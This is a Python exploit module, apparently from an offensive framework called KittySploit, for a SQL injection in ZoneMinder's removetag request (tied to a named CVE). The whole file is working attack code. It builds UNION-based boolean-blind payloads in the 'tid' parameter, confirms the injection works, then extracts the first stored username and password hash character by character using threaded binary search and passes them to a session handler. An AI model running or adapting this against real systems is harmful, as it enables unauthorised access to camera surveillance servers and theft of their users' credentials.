ZoneMinder CVE-2024-51482 removetag SQLi

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""ZoneMinder CVE-2024-51482 authenticated boolean-blind SQLi."""

from __future__ import annotations

import re
from concurrent.futures import ThreadPoolExecutor

from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client, Handler):
    __info__ = {
        "name": "ZoneMinder CVE-2024-51482 removetag SQLi",
        "description": (
            "CVE-2024-51482 (ZoneMinder <= 1.37.64): boolean SQLi in ajax/event.php "
            "removetag tid parameter (HTTP 200=true, 500=false). Extracts credentials."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2024-51482"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {"default": "nopayload"},
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2024-51482",
            "https://github.com/dinosn/exploit-watch-archive",
        ],
        "tags": ["zoneminder", "sqli", "authenticated", "cve-2024-51482"],
        "agent": {
            "risk": "intrusive",
            "effects": ["data_exfiltration", "credential_access"],
            "expected_requests": 200,
            "reversible": False,
            "approval_required": True,
            "produces": ["credentials", "http_session"],
            "requires": {"tech_hints_any": ["zoneminder"]},
            "chain": {"suggested_followups": ["scanner/http/cve_2024_51482_detect"]},
        },
    }

    zm_path = OptString("/zm", "ZoneMinder base path", required=False)
    session_cookie = OptString("", "ZMSESSID=... session cookie", required=True)
    extract_maxlen = OptInt(64, "Max length for extracted scalar", required=False, advanced=True)

    def _apply_cookies(self) -> None:
        raw = str(self.session_cookie or "").strip()
        for part in raw.split(";"):
            part = part.strip()
            if "=" in part:
                k, v = part.split("=", 1)
                self.session.cookies.set(k.strip(), v.strip())

    def _index_path(self) -> str:
        p = str(self.zm_path or "/zm").strip().rstrip("/")
        return (p if p.startswith("/") else f"/{p}") + "/index.php"

    def _cond_true(self, expr: str) -> bool:
        params = {
            "view": "request",
            "request": "event",
            "action": "removetag",
            "tid": f"0 UNION SELECT 1,2,3,4 WHERE ({expr})",
        }
        resp = self.http_request("GET", self._index_path(), params=params)
        return resp is not None and int(resp.status_code or 0) == 200

    def _read_scalar(self, subq: str, maxlen: int | None = None) -> str:
        cap = int(maxlen or self.extract_maxlen or 64)
        lo, hi = 0, cap
        while lo < hi:
            mid = (lo + hi) // 2
            if self._cond_true(f"LENGTH(({subq}))>{mid}"):
                lo = mid + 1
            else:
                hi = mid
        length = lo
        out: list[str | None] = [None] * length

        def get_char(i: int) -> str:
            a, b = 0, 127
            while a < b:
                mid = (a + b) // 2
                if self._cond_true(f"ASCII(SUBSTRING(({subq}),{i + 1},1))>{mid}"):
                    a = mid + 1
                else:
                    b = mid
            return chr(a)

        with ThreadPoolExecutor(max_workers=8) as pool:
            for i, ch in zip(range(length), pool.map(get_char, range(length))):
                out[i] = ch
        return "".join(c for c in out if c)

    def check(self):
        self._apply_cookies()
        if self._cond_true("1=1") and not self._cond_true("1=2"):
            return {"vulnerable": True, "reason": "Boolean oracle OK", "confidence": "high"}
        return {"vulnerable": False, "reason": "Boolean SQLi oracle failed", "confidence": "medium"}

    def run(self):
        chk = self.check()
        if not chk.get("vulnerable"):
            print_error(chk.get("reason", "Not vulnerable"))
            self.not_vulnerable()
            return False

        print_status("CVE-2024-51482 — ZoneMinder blind SQLi extract")
        creds = self._read_scalar(
            "SELECT CONCAT(Username,0x3a,Password) FROM Users LIMIT 1",
            maxlen=200,
        )
        print_success(f"Extracted: {creds[:500]}")

        session_id = self.handler_http(
            self.session,
            additional_data={"zoneminder_creds": creds, "cookie": str(self.session_cookie or "")},
        )
        return bool(session_id)